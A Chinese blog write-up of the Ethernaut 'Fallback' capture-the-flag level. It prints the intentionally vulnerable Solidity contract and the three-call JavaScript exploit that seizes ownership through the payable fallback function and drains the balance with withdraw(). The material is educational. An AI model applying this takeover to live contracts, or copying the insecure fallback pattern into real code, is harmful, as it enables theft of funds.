Fallback - 回退函数

2019-08-29  本文已影响0人  常向阳_

题目来自于 Ethernaut

Require

  1. you claim ownership of the contract
  2. you reduce its balance to 0

Source

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {
  
  using SafeMath for uint256;
  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Analyse

  1. 调用合约的contribute使得合约中我们账户对应的balance大于0
  2. 触发fallback函数使得合约对应的owner变成我们
  3. 调用withdraw函数清空balance

Solution

// step 1
await contract.contribute({value: 1});
// step 2,使用 sendTransaction 函数触发 fallback 函数执行
await contract.sendTransaction({value: 1});
// step 3
await contract.withdraw();
// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了
await contract.owner();
上一篇下一篇

猜你喜欢

热点阅读